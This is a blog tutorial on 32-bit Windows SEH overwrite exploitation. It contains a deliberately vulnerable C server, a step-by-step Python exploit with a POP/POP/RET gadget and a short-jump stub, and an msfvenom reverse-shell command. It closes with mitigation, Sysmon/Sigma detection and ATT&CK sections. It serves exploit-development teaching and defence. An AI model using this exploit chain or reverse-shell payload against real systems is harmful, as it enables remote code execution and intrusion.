SEH Overwrite Exploits: Hijacking Exception Dispatch
Objective: Understand how 32-bit Windows Structured Exception Handling works from the TEB down to
RtlDispatchException, how a stack overflow corrupts the_EXCEPTION_REGISTRATION_RECORDchain, and how the POP/POP/RET technique turns a caught exception into reliable code execution — built end to end against a self-authored vulnerable TCP server in a lab VM, then paired with the SafeSEH/SEHOP/DEP/GS controls that kill it.
There’s a particular kind of crash that makes new exploit devs assume the bug is dead. You smash the stack, you check EIP, and it still reads a clean return address — the /GS cookie or some other guard caught the corruption and the program is now unwinding. Look closer. If that function ran inside a __try block, you didn’t just corrupt return addresses; you corrupted the exception handler pointers sitting on the stack, and the program is about to hand execution to one of them voluntarily. That is the whole game. SafeSEH gets a lot of press as the thing that stopped this, but in practice the bypass is often trivial — all it takes is one linked module in the process that forgot to opt in.
This walkthrough builds the bug, the primitive, and the payload from scratch.
Contents
- 1 1. Windows Exception Handling 101
- 2 2. The SEH Chain Internals
- 3 3. Exception Dispatch Flow: Kernel to User Mode
- 4 4. Stack Layout Under a Vulnerable Overflow
- 5 5. The POP/POP/RET Gadget — Theory and Mechanics
- 6 6. Building the Lab Target
- 7 7. Lab Walkthrough: Building the Exploit Step by Step
- 7.1 Step 1 — Crash verification
- 7.2 Step 2 — Find the nSEH/SEH offset
- 7.3 Step 3 — Bad character analysis
- 7.4 Step 4 — Find a POP/POP/RET in a non-SafeSEH module
- 7.5 Step 5 — Craft the nSEH short-jump stub
- 7.6 Step 6 — Generate shellcode
- 7.7 Step 7 — Final exploit
- 7.8 Step 8 — Verify the flow in the debugger
- 8 8. Mitigation Deep Dive: SafeSEH, SEHOP, DEP, /GS
- 9 9. Common Attacker Techniques
- 10 10. Defensive Strategies & Detection
- 11 11. Tools for SEH Exploit Analysis
- 12 12. MITRE ATT&CK Mapping
- 13 Summary
- 14 Related Tutorials
- 15 References
1. Windows Exception Handling 101
An exception is a synchronous interruption to normal flow: a hardware fault (divide-by-zero, access violation, page fault) or a software-raised condition (RaiseException). Windows funnels both through the same dispatch machinery so the OS, the CRT, and the application all get a chance to handle or decline them.
In C/C++ on MSVC, you opt into that machinery with the __try / __except / __finally keywords:
__try {
*(int*)0 = 0xdead; // access violation
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("caught it\n"); // filter returned EXECUTE_HANDLER
}
At function entry, the compiler emits a prologue that pushes a new exception registration record onto the stack and links it into the thread’s SEH chain by updating FS:[0]. That record is two pointers wide. It lives on the stack, near your local buffers — which is exactly why a stack overflow can reach it.
2. The SEH Chain Internals
Every thread owns a Thread Environment Block (_TEB). The first member of the TEB is an _NT_TIB, and the first member of that is ExceptionList — the head of a singly-linked list of exception registration records. On x86 the TEB is reachable through the FS segment register, so the chain head sits at FS:[0x00].
typedef struct _NT_TIB {
PEXCEPTION_REGISTRATION_RECORD ExceptionList; // FS:[0x00] — head of SEH chain
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
// ...
struct _NT_TIB *Self;
} NT_TIB, *PNT_TIB;
typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next; // nSEH — next record (lower addr)
PEXCEPTION_ROUTINE Handler; // SEH — handler code (higher addr)
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
Each record is 8 bytes: a Next pointer (the field exploit writers call nSEH) followed by a Handler pointer (the SEH field). Records chain together until the final one, whose handler is the process-wide default — kernel32!UnhandledExceptionFilter — the thing that pops the “application has stopped working” dialog and terminates.
Walk the live chain in WinDbg with !exchain:
0:000> !exchain
0019ff70: vuln_seh_server!handle_client+0x5e (00401a8e)
0019ffcc: ntdll!_except_handler4 (77a1c2b0)
0019ffe4: ntdll!FinalExceptionHandler (779f3210)
Invalid exception stack at ffffffff
The address column is where each _EXCEPTION_REGISTRATION_RECORD lives on the stack. Overflow far enough and the first entry’s handler becomes 41414141.
| Struct / Symbol | Key Fields | Role |
|---|---|---|
_EXCEPTION_REGISTRATION_RECORD | Next (nSEH), Handler (SEH) | 8-byte stack record; the overwrite target |
_NT_TIB | ExceptionList at 0x00, StackBase, StackLimit, Self | Head of the chain at FS:[0] |
_TEB | _NT_TIB at offset 0 | Per-thread block reached via FS:[0] |
EXCEPTION_RECORD | ExceptionCode, ExceptionAddress, ExceptionInformation[] | Describes the fault to each handler |
CONTEXT | Eip, Esp, Ebp, GP/segment/FP regs | Thread register state at fault time |

3. Exception Dispatch Flow: Kernel to User Mode
When the CPU faults, the kernel takes the trap, builds an EXCEPTION_RECORD plus a CONTEXT, and reflects the exception back into user mode at a fixed entry point. The flow:
ntdll!KiUserExceptionDispatcher— first user-mode function in the chain; a thin shim that callsRtlDispatchExceptionand inspects the result.ntdll!RtlDispatchException— walksExceptionList, runs validation on each record, and dispatches to each registered handler in turn.ntdll!RtlIsValidHandler— where SafeSEH is actually enforced; it callsRtlpxLookupFunctionTableto check the handler against the module’sSEHandlerTable.- Handler callback — invoked with the
EstablisherFrameas its second argument. ZwContinueif the exception was handled, orZwRaiseExceptionifRtlDispatchExceptionreturned 0 (nobody handled it).
Before it ever calls a handler, RtlDispatchException runs three sanity checks that shape everything about how the exploit must be built:
| Check | Requirement |
|---|---|
| Handler not on the stack | The handler address must be outside [StackLimit, StackBase] |
| Record on the stack | The _EXCEPTION_REGISTRATION_RECORD itself must sit on the stack |
| Record alignment | The record address must be properly byte-aligned |
The first check is the killer. You can overwrite the Handler field with a pointer straight to your shellcode on the stack — and the dispatcher will refuse to call it, because that address lives in stack memory. You need to redirect through code that is not on the stack first, then bounce back. That is precisely what POP/POP/RET does, and it’s why the technique is mandatory even against binaries with no SafeSEH at all.
4. Stack Layout Under a Vulnerable Overflow
The stack grows toward lower addresses, but your strcpy writes toward higher addresses. Inside a __try, the record sits above your locals, so a linear overflow runs:
low addr ┌────────────────────────┐
│ char buf[512] │ ← strcpy starts here, writes upward
│ ...saved regs/cookie │
nSEH ───► │ Next (4 bytes) │ ← overwritten with short-jump stub
SEH ───► │ Handler (4 bytes) │ ← overwritten with POP/POP/RET address
│ shellcode... │ ← lands right after the record
high addr └────────────────────────┘
Both fields get clobbered in the same pass because they’re adjacent. That’s the layout that makes the technique work: nSEH (lower) holds a tiny jump, SEH (higher) holds the gadget, and your payload follows immediately after.
5. The POP/POP/RET Gadget — Theory and Mechanics
When RtlDispatchException calls the handler, the raw SEH callback signature is:
EXCEPTION_DISPOSITION NTAPI _except_handler(
_Inout_ struct _EXCEPTION_RECORD *ExceptionRecord,
_In_ PVOID EstablisherFrame, // ← address of OUR record
_Inout_ struct _CONTEXT *ContextRecord,
_In_ PVOID DispatcherContext
);
EstablisherFrame is the address of the exception registration record being dispatched — which, after the overflow, is the stack address of our overwritten nSEH. At the moment of the call, the stack looks like:
; [ESP+00] return address into ntdll
; [ESP+04] ExceptionRecord*
; [ESP+08] EstablisherFrame <-- pointer to our nSEH on the stack
; [ESP+0C] ContextRecord*
; [ESP+10] DispatcherContext*
Now run a gadget of the form pop <reg> ; pop <reg> ; ret:
- First
popdiscards[ESP+00](the return address). - Second
popdiscards[ESP+04](theExceptionRecordpointer). retpops[ESP+08]—EstablisherFrame— intoEIP.
EIP is now the stack address of our nSEH. The CPU starts executing the bytes we wrote there. We control them. Any two general-purpose register pops work; the registers themselves are irrelevant — we only care that ESP advances 8 bytes and ret consumes the EstablisherFrame.
nSEH is only 4 bytes, but 4 bytes is enough for a short jump that hops over the SEH field into the shellcode that follows.
, which redirects EIP to the nSEH short-jump stub, which then jumps into the shellcode](https://genxcyber.com/wp-content/uploads/2026/06/seh-overwrite-exploit-pop-pop-ret-windows-2-scaled.png)
6. Building the Lab Target
Compile this with MSVC for x86, mitigations deliberately off. It listens on TCP 9999 and strcpys network input into a 512-byte stack buffer inside a __try — guaranteeing an SEH record sits above the overflow.
// vuln_seh_server.c — intentionally vulnerable lab target
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
void handle_client(SOCKET s) {
char buf[512]; // fixed-size stack buffer
char recv_buf[4096];
int n = recv(s, recv_buf, sizeof(recv_buf)-1, 0);
if (n <= 0) return;
recv_buf[n] = '\0';
#ifdef _MSC_VER
__try {
strcpy(buf, recv_buf); // ← unsafe copy: overflows into nSEH + SEH
printf("Received: %s\n", buf);
}
__except(EXCEPTION_EXECUTE_HANDLER) {
printf("Exception caught (benign handler)\n");
}
#else
strcpy(buf, recv_buf); // ← unsafe copy: overflows into nSEH + SEH
printf("Received: %s\n", buf);
#endif
}
int main() {
WSADATA wsa; WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET srv = socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
bind(srv,(struct sockaddr*)&addr,sizeof(addr));
listen(srv,1);
printf("[*] Listening on port 9999\n");
SOCKET cli = accept(srv,NULL,NULL);
handle_client(cli);
closesocket(cli); closesocket(srv); WSACleanup();
return 0;
}
cl.exe /MT /Zi /GS- /SAFESEH:NO /NXCOMPAT:NO /DYNAMICBASE:NO vuln_seh_server.c /link /SAFESEH:NO
VM setup: Windows 10 x86 (32-bit), Immunity Debugger + mona.py (or x64dbg-32 + ERC). Disable Defender. Turn DEP off for the first pass with bcdedit /set nx AlwaysOff and reboot; you’ll switch it back on for the advanced exercise.
7. Lab Walkthrough: Building the Exploit Step by Step
Step 1 — Crash verification
# crash.py
import socket
payload = b"A" * 2000
s = socket.socket(); s.connect(("192.168.x.x", 9999))
s.send(payload); s.close()
Attach Immunity to the running server first, then fire. Open View → SEH chain (or !exchain in WinDbg). Both nSEH and SEH read 41414141. The access violation occurred, the dispatcher walked the chain, and our AAAA is now the handler.
Step 2 — Find the nSEH/SEH offset
msf-pattern_create -l 2000 > pattern.txt
# offset_fuzz.py
import socket
pattern = open("pattern.txt","rb").read()
s = socket.socket(); s.connect(("192.168.x.x", 9999))
s.send(pattern); s.close()
After the crash, read the nSEH value out of the SEH chain window and feed it back:
msf-pattern_offset -l 2000 -q '<nSEH_value>'
# [*] Exact match at offset 524
Layout locked in: [524 × 'A'][4 nSEH][4 SEH][shellcode...].
Step 3 — Bad character analysis
# Place all bytes 0x01–0xFF in the shellcode region and diff in the debugger
badchars = bytes(range(1, 256))
payload = b"A"*524 + b"B"*4 + b"C"*4 + badchars
For this target the obvious offender is \x00 — strcpy stops dead at the first null. The classic SEH bad set is \x00\x0a\x0d. I once burned the better part of an afternoon on a “broken” gadget that turned out fine; the real problem was a 0x0a mid-shellcode that strcpy happily copied but the parser upstream had chewed into a line break. Run the badchar pass before you trust any address. Document the set for msfvenom.
Step 4 — Find a POP/POP/RET in a non-SafeSEH module
In Immunity with mona:
!mona seh -n
The -n flag restricts results to modules without SafeSEH and without ASLR — exactly the constraints the dispatcher’s validation forces on us. A result line looks like:
0x61617619 : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [EPG.dll]
x64dbg users get the same with ERC:
ERC --SEH
Pick an address free of your bad characters. Verify by hand — disassemble it and confirm it really is two register pops and a ret. Note the address; it must be the module’s code, never the stack.
Step 5 — Craft the nSEH short-jump stub
nSEH is only 4 bytes and it gets executed first (the gadget’s ret lands there). A near-relative short jump is \xEB + signed displacement. We need to clear the 4-byte SEH field, so jump 6 bytes forward and pad to width with NOPs:
\xEB\x06 ; jmp $+8 (6-byte relative jump from end of this instruction)
\x90\x90 ; NOP padding to fill the 4-byte nSEH field
So nSEH = \xeb\x06\x90\x90. Execution at nSEH hops over the 4-byte handler field and lands in the shellcode buffer that follows the record.
Step 6 — Generate shellcode
# Proof-of-life
msfvenom -p windows/exec CMD=calc.exe \
-b "\x00\x0a\x0d" -f python --var-name shellcode
# Lab-only reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=4444 \
-b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python --var-name shellcode
Step 7 — Final exploit
#!/usr/bin/env python3
# exploit_seh.py — lab target only, authorized testing
import socket, struct
OFFSET_TO_NSEH = 524
# nSEH: short jump over the 4-byte SEH field into the shellcode
nSEH = b"\xeb\x06\x90\x90"
# SEH: POP/POP/RET address from a non-SafeSEH DLL (little-endian)
SEH_HANDLER = struct.pack("<I", 0x61617619) # replace with YOUR gadget
# Shellcode: NOP sled + msfvenom output (no bad chars)
shellcode = b"\x90" * 16
shellcode += b"\xdb\xcc..." # paste msfvenom python output
payload = b"A" * OFFSET_TO_NSEH
payload += nSEH # +0 jmp +6
payload += SEH_HANDLER # +4 POP/POP/RET -> EIP = address of nSEH
payload += shellcode # +8 jump lands here
s = socket.socket()
s.connect(("192.168.x.x", 9999))
s.send(payload)
s.close()
print("[*] Payload sent")
Step 8 — Verify the flow in the debugger
- Breakpoint on the POP/POP/RET address.
- Send the exploit; on the first-chance access violation, pass it to the app with Shift+F9 so the dispatcher actually invokes the handler.
- Single-step the gadget: two pops, then
retloads the stack address of nSEH intoEIP. \xEB\x06jumps 6 bytes into the NOP sled, then the shellcode fires. Calc spawns, or your listener catches the shell.
The order is counter-intuitive the first time you watch it: the ret jumps backward in the payload (into nSEH), and nSEH then jumps forward over the handler field into the shellcode. Two hops, by design, because the dispatcher won’t let us point straight at the stack.
8. Mitigation Deep Dive: SafeSEH, SEHOP, DEP, /GS
| Mitigation | Mechanism | Bypass condition |
|---|---|---|
SafeSEH (/SAFESEH) | PE stores a SEHandlerTable in IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG; RtlIsValidHandler checks every handler against it | Source the POP/POP/RET from a non-SafeSEH module loaded in the same process |
| SEHOP | Dispatcher appends a terminal record and verifies the chain reaches ntdll!FinalExceptionHandler; overwriting Handler corrupts Next, breaking reachability | Reconstruct a valid synthetic chain ending at the final handler; default-on for Server, default-off for desktop |
| DEP / NX | Stack pages marked non-executable | Shellcode must live in executable memory, or pivot through a VirtualProtect/VirtualAlloc ROP chain |
| /GS cookie | Random cookie checked before ret to catch sequential overwrites | Defeat via out-of-order write, leak, or — as here — reach SEH before the cookie check matters |
| 64-bit SEH | x64 uses static UNWIND_INFO tables interpreted by the system; no runtime handler list on the stack | Classic SEH overwrite is 32-bit only |
Check what a binary actually enabled before you waste time:
dumpbin /loadconfig vuln_seh_server.exe :: shows "Safe Exception Handler Table"
!mona modules :: SafeSEH / ASLR / NX / Rebase per module
Advanced exercise — re-enable, one at a time:
- SafeSEH on. Your gadget from a protected module is now rejected by
RtlIsValidHandler. Find one in any non-SafeSEH DLL in the address space — there’s almost always one. - SEHOP on. The chain-walk fails reachability and the process is terminated instead of executing your handler. Watch the termination, then study the synthetic-chain reconstruction (understanding only) — you must rebuild a chain that still threads back to
ntdll!FinalExceptionHandler. - DEP on. The stack shellcode no longer executes. Introduce a small ROP stub that calls
VirtualProtectto flip the stack to RX, then pivots into the shellcode — the gateway into return-oriented programming.

9. Common Attacker Techniques
| Technique | Description |
|---|---|
| SEH handler overwrite | Clobber the Handler field and redirect dispatch via POP/POP/RET |
| nSEH short-jump pivot | Use the 4-byte Next field as a jump stub into adjacent shellcode |
| Non-SafeSEH gadget sourcing | Pull POP/POP/RET from a module that opted out of /SAFESEH |
| Egg-hunting | When space after the record is tight, jump to a small hunter that scans memory for a tagged larger payload |
| Synthetic SEH chain | Rebuild a valid-looking chain to slip past SEHOP reachability checks |
| ROP-assisted DEP bypass | Chain VirtualProtect/VirtualAlloc gadgets to make the stack executable before pivoting |
10. Defensive Strategies & Detection
SEH chain corruption is a CPU/kernel-level event — user-mode telemetry like Sysmon never sees the overwrite itself. You detect the outcome: an unexpected child process, an outbound connection from a service that shouldn’t make one, or a tell-tale crash burst from fuzzing.
| Sysmon Event ID | Field to alert on | Rationale |
|---|---|---|
| Event ID 1 (Process Create) | ParentImage = the vulnerable service spawning cmd.exe/powershell.exe/calc.exe; odd CommandLine | Shellcode launching a child shell |
| Event ID 3 (Network Connect) | SourceImage = the server connecting outbound to an unusual DestinationPort/IP | Reverse-shell callback |
| Event ID 7 (Image Load) | Signed = false, suspicious ImageLoaded after the crash window | Second-stage DLL |
| Event ID 5 (Process Terminate) | Abnormal termination of the service | Failed exploit / SEHOP kill |
| Event ID 11 (File Create) | Writes into %TEMP%/%APPDATA% right after activity | Payload staging |
Windows Security log: 4688 (process creation with full command line, given Audit Process Creation + command-line inclusion) catches spawned shells. Application log 1000/1001 (WER) flags repeated service crashes — a fuzzing/spraying canary.
ETW providers worth subscribing:
– Microsoft-Windows-WER-SystemErrorReporting — process fault data; repeated crashes betray a campaign.
– Microsoft-Windows-Security-Mitigations (GUID {FAC7F9EB-5B9A-4D80-8D9E-9ABF6B3B83C0}) — logs SEHOP/DEP-triggered terminations. Confirm with logman query providers | findstr Mitigations.
– Microsoft-Windows-Kernel-Process — lifetime events for correlation.
title: Suspicious Child Process from Network Service (SEH Exploit Post-Exploitation)
status: experimental
logsource:
product: windows
category: process_creation
detection:
selection:
EventID: 1
ParentImage|endswith:
- '\vuln_seh_server.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\whoami.exe'
condition: selection
fields:
- ParentImage
- Image
- CommandLine
- User
falsepositives:
- Legitimate admin scripts spawned by the service
level: high
Hardening: compile with /SAFESEH and /GS; enable SEHOP system-wide (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = 0) or via Exploit Guard; force DEP (bcdedit /set nx AlwaysOn); enable ASLR. None of these alone is decisive — /GS plus SafeSEH plus SEHOP plus DEP, stacked, is what makes the classic SEH overwrite infeasible.

11. Tools for SEH Exploit Analysis
| Tool | Description | Link |
|---|---|---|
| Immunity Debugger + mona.py | SEH chain view, !mona seh -n, badchar/module triage | immunityinc.com |
| x64dbg + ERC | ERC --SEH gadget discovery on the 32-bit build | x64dbg.com |
| WinDbg | !exchain, _EXCEPTION_REGISTRATION_RECORD inspection | microsoft.com |
msf-pattern_create / _offset | Cyclic pattern offset discovery | metasploit.com |
| msfvenom | Bad-char-aware shellcode generation/encoding | metasploit.com |
dumpbin /loadconfig | Confirm SafeSEH table presence in a PE | microsoft.com |
| Ghidra | Static review of handler frames and __try regions | ghidra-sre.org |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Sysmon EID 1 child-process anomalies from a client app |
| Exploitation of Remote Services | T1210 | Outbound connect from a listening service (EID 3); WER crash bursts |
| Exploitation for Privilege Escalation | T1068 | Shell spawned under a high-privilege service account |
| Command and Scripting Interpreter: Windows Command Shell | T1059.003 | cmd.exe parented by the vulnerable EXE |
| Process Injection | T1055 | Post-exploit injection into a host process |
ATT&CK has no SEH-overwrite sub-technique. Map server-side delivery (the lab here) to T1210, client-side to T1203, and add T1068 when the service runs elevated.
Summary
- An SEH overwrite weaponizes Windows’ own exception dispatcher: corrupt the on-stack
_EXCEPTION_REGISTRATION_RECORD, and the OS hands you control when it tries to handle the fault you caused. - The dispatcher’s three validation checks — handler off-stack, record on-stack, aligned — are why a direct pointer-to-shellcode fails and POP/POP/RET is mandatory even without SafeSEH.
- nSEH carries a 4-byte short jump (
\xeb\x06\x90\x90); SEH carries a POP/POP/RET gadget sourced from a non-SafeSEH module; the gadget’sretlands on nSEH, which hops into the shellcode. - The technique is 32-bit only — x64 SEH uses static
UNWIND_INFOtables, not a stack-resident handler list. - Stacked mitigations (
/GS+ SafeSEH + SEHOP + DEP + ASLR) defeat it; detection is behavioral — Sysmon EID 1/3/5, WER crash telemetry, and theSecurity-MitigationsETW provider.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- richard-ac.github.io
- www.microsoft.com
- www.corelan.be
- www.ired.team
- coalfire.com
- www.cyberark.com
- limbioliong.wordpress.com
- en.wikipedia.org
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups — no spam, unsubscribe anytime.